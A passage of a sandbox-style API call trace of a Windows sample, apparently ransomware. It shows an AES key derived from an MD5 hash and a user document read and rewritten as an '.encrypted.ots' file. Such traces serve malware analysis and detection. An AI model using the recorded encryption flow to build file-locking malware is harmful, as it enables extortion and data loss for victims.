0 [0024.410] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.410] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.410] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.410] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0024.410] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0024.410] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.410] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.410] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.411] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.411] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.411] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.411] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.411] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.411] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.411] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.411] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0024.411] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.411] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.411] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.411] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0024.411] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.411] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.411] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.411] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.411] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.411] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0024.412] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.412] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f4199a20) returned 1 [0024.412] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.412] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.412] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0024.412] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.412] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.412] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.412] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.412] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.412] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.412] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.412] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.412] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.413] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.413] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.413] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.413] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0024.413] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.413] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.413] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.413] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.413] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.413] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.413] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.413] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.413] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.413] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.413] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.413] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.413] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.413] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.413] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.413] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.413] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.413] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.413] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.413] CryptCreateHash (in: hProv=0xe8f4199a20, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0024.413] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.413] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.413] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.413] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.413] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0024.413] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.414] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.414] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.414] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.414] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.414] CryptHashData (hHash=0xe8f4062aa0, pbData=0xe8f418b9f0, dwDataLen=0x20, dwFlags=0x1) returned 1 [0024.414] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.414] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.414] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.414] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.414] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.414] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.414] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.414] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.414] CryptDeriveKey (in: hProv=0xe8f4199a20, Algid=0x660e, hBaseData=0xe8f4062aa0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062b10) returned 1 [0024.414] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.414] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.414] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.414] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.414] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.414] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.414] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0024.414] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.414] CryptDestroyHash (hHash=0xe8f4062aa0) returned 1 [0024.415] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.416] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.416] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.416] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.416] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.416] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\h_iDTN9q4xoR8AS.ots" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u\\gifhucqicytovjewuyw\\h_idtn9q4xor8as.ots"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0024.416] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.416] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0024.416] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.416] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.416] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.417] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u\\gifhucqicytovjewuyw")) returned 0x10 [0024.417] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\h_iDTN9q4xoR8AS.encrypted.ots" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u\\gifhucqicytovjewuyw\\h_idtn9q4xor8as.encrypted.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0024.417] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.417] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.417] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.417] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.418] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0024.418] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0024.420] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x14db, lpOverlapped=0x0) returned 1 [0024.420] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0024.422] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.422] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.422] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.422] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0024.423] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.423] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.423] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0024.423] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.423] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0024.424] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.424] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.424] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.424] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0024.424] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.424] CryptGetKeyParam (in: hKey=0xe8f4062b10, dwParam=0x7, pbData=0xe8f40649d0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f40649d0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0024.424] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.424] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.424] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.424] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.425] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.425] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.425] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.425] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.425] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.425] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.425] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.425] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.425] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.425] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.425] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.425] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.425] PeekMessageW (in: lpMsg=0xe8f3dfe120, 